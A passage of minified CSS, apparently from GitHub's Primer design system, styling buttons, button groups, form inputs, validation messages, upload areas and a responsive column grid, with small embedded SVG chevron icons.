transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 